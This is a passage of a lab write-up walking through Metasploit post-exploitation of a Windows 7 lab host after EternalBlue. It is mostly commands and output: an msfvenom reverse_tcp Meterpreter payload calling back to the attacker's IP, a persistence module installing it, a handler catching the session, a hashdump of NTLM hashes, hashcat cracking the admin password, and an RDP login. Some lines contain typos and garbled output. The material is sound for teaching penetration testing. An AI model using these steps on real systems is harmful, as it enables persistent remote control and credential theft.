meterpreter > getsystem
[-] Already running as SYSTEM
```

After the exploitation we found out we already have the SYSTEM Privilege

We need to find a stable process, such as explorer.exe, svchost.exe, or lsass.exe and to migrate it. We found a PID for explore.exe that has a SYSTEM user is 3012 so we migrate it.

```

Process List

```

```
[*] No target processes were found.  
[*] Post module execution completed
```

Looks like no antivirus on the target machine

Task 5

See all the commands in Task4

Task 6

First we need to go back the session

```
sessions -i 2
```

Then we do the check

```
getuid
```

```
meterpreter > getuid  
Server username: admin-PC\admin
```

Additionally if we want to check the privilege

```
getprivs
```

```
meterpreter > getprivs dropped 0  
Enabled Process Privileges (UNNINHED)

Task 7

<https://docs.rapid7.com/metasploit/meterpreter-getsystem/>

```
getsystem
```

```
meterpreter > getsystem  
... got system via technique 1 (Named Pipe Impersonation (In Memory/Admin)).  
meterpreter > getsystem  
[-] Already running as SYSTEM
```

Task 8

We can use

```
post/windows/manage/persistence_exe
```

Task 9

```
msf6 post(windows/manage/persistence_exe) > msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.13.37.104 LPORT=5555 -f exe -o persistence_payload.exe
[*] exec: msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.13.37.104 LPORT=5555 -f exe -o persistence_payload.exe

Overriding user environment variable 'OPENSSL_CONF' to enable legacy functions.
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
No encoder specified, outputting raw payload
Payload size: 354 bytes
Final size of exe file: 73802 bytes
Saved as: persistence_payload.exe
```

First we use msfvenom to generate payload

Then we use use post/windows/manage/persistence_exe to upload it to the target machine

```
set SESSION 2
set REXEPATH /home/kali/persistence_payload.exe
```

Task 10

We then run multi/handler

```
msf6 exploit(multi/handler) > set LPORT 5555
LPORT => 5555
msf6 exploit(multi/handler) > run

[*] Started reverse TCP handler on 10.13.37.104:5555

[*] Sending stage (176198 bytes) to 10.13.37.103
[*] Meterpreter session 3 opened (10.13.37.104:5555 → 10.13.37.103:49159) at 2024-09-29 19:11:58 -0400
meterpreter >
```

Here we can see if we shutdown the target machine, the connection closes.

After we started up the target machine again, it automatically let the Meterpreter session open.

Task 11

Use hashdump

```
meterpreter > hashdump
admin:1001:aad3b435b51404eeaad3b435b51404ee:e19ccf75ee54e06b06a5907af13cef42:::
Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
HomeGroupUser$:1002:aad3b435b51404eeaad3b435b51404ee:43bcb2f25a3ded39a4702b116cdfae9c:::
user:1003:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
```

The password hashes for the users are formatted as:

username:uid:LM_hash:NTLM_hash:::

The hash format is **NTLM** (the modern format used by Windows systems)

It is an older Microsoft authentication protocol that secures user passwords by converting them into hashes. While it's still used for compatibility with older systems, it's less secure compared to newer methods, and is vulnerable to certain attacks such as pass-the-hash.

Task 12

```
meterpreter > hashdump  
admin:1001:aad3b435b51404eeaad3b435b51404ee:e19ccf75ee54e06b06a5907af13cef42 :::
```

In this case, the **NTLM hash** for the **admin** user is

e19ccf75ee54e06b06a5907af13cef42

We needed to crack the NTLM hash using a tool like **John the Ripper** or **Hashcat**.

Here are the steps using Hashcat:

Save the hash to a file: we saved the hash in a text file

```
nano hases.txt
```

```
echo e19ccf75ee54e06b06a5907af13cef42"> hashes.txt
```

Hashcat need a wordlist in order to crack the password, we use the one (rockyou.txt) that already installed in Kali

```
msf6 exploit(windows/smb/ms17_010_eternalblue) > cd /usr/share/wordlists  
msf6 exploit(windows/smb/ms17_010_eternalblue) > ls  
[*] exec: ls  
  
amass dirb dirbuster dnsmap.txt fasttrack.txt fern-wifi john.lst legion metasploit nmap.lst rockyou.txt.gz sqlmap.txt wfuzz wifite.txt  
msf6 exploit(windows/smb/ms17_010_eternalblue) > sudo gunzip rockyou.txt.gz  
[*] exec: sudo gunzip rockyou.txt.gz  
  
[sudo] password for kali:  
msf6 exploit(windows/smb/ms17_010_eternalblue) > ls  
[*] exec: ls  
  
amass dirb dirbuster dnsmap.txt fasttrack.txt fern-wifi john.lst legion metasploit nmap.lst rockyou.txt sqlmap.txt wfuzz wifite.txt  
msf6 exploit(windows/smb/ms17_010_eternalblue) > █
```

After that we used hashcat to do the job

```
hashcat -m 1000 -a 0 /home/kali/hashes.txt  
/usr/share/wordlists/rockyou.txt
```

- `m` flag tells Hashcat which hash algorithm it needs to crack. 1000 corresponds to NTLM
- `a` flag defines the attack mode, 0 stands for straight wordlist attack, Hashcat will go through a list of potential passwords from a wordlist and hash each one, comparing the result to the target hash. If it finds a match, it identifies the corresponding password.

```

Use this wordlist the hashcat cracked the new password - “password”

```

msf6 exploit(windows/smb/ms17_010_ternalblue) > hashcat -m 1000 -a 0 /home/kali/new_hashes.txt /usr/share/seclists/Passwords/2020-200_most_used_passwords.txt
[*] exec: hashcat -m 1000 -a 0 /home/kali/new_hashes.txt /usr/share/seclists/Passwords/2020-200_most_used_passwords.txt
hashcat (v6.2.6) starting

OpenCL API (OpenCL 3.0 PoCL 5.0+debian Linux, None+Asserts, RELOC, SPIR, LLVM 17.0.6, SLEEP, DISTRO, POCL_DEBUG) - Platform #1 [The pocl project]
* Device #1: cpu-penryn-13th Gen Intel(R) Core(TM) i5-13600KF, 4725/9515 MB (2048 MB allocatable), 3MCU

Minimum password length supported by kernel: 0
Maximum password length supported by kernel: 256

Hashes: 1 digests; 1 unique digests, 1 unique salts
Bitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5/13 rotates
Rules: 1

Optimizers applied:
* Zero-Byte
* Early-Skip
* Not-Salted
* Not-Iterated
* Single-Hash
* Single-Salt
* Raw-Hash

ATTENTION! Pure (unoptimized) backend kernels selected.
Pure kernels can crack longer passwords, but drastically reduce performance.
If you want to switch to optimized kernels, append -O to your commandline.
See the above message to find out about the exact limits.

Watchdog: Temperature abort trigger set to 90c
Host memory required for this attack: 0 MB

Dictionary cache hit:
* Filename..: /usr/share/seclists/Passwords/2020-200_most_used_passwords.txt
* Passwords.: 197
* Bytes.....: 1594
* Keyspace..: 197

The wordlist or mask that you are using is too small.
This means that hashcat cannot use the full parallel power of your device(s).
Unless you supply more work, your cracking speed will drop.
For tips on supplying more work, see: https://hashcat.net/faq/morework

Approaching final keyspace - workload adjusted.

```

Task 14

The cracked admin credentials (**username: admin, password: password**) allow an attacker to log in to the Windows 7 machine remotely using tools like **rdesktop** or other **Remote Desktop Protocol (RDP) clients**. With admin privileges, the attacker can perform any action on the system, including installing malware, changing system settings, or accessing sensitive files. They can manipulate any aspect of the operating system, essentially having full control over the machine.

```
rdesktop 10.13.37.103 -u admin -p password
```

```

msf6 exploit(windows/smb/ms17_010_ternalblue) > rdesktop 10.13.37.103 -u admin -p password
[*] exec: rdesktop 10.13.37.103 -u admin -p password

Autoselecting keyboard map 'en-us' from locale
Core(warning): Certificate received from server is NOT trusted by this system, an exception has been added by the user to trust this specific certificate.
Failed to initialize NLA, do you have correct Kerberos TGT initialized ?
Core(warning): Certificate received from server is NOT trusted by this system, an exception has been added by the user to trust this specific certificate.
Connection established using SSL.
Protocol(warning): process_pdu_logon(), Unhandled login infotype 1
Clipboard(error): xclip_handle_SelectionNotify(), unable to find a textual target to satisfy RDP clipboard text request

```

We can see I can remote control the target's machine in the Kali system.
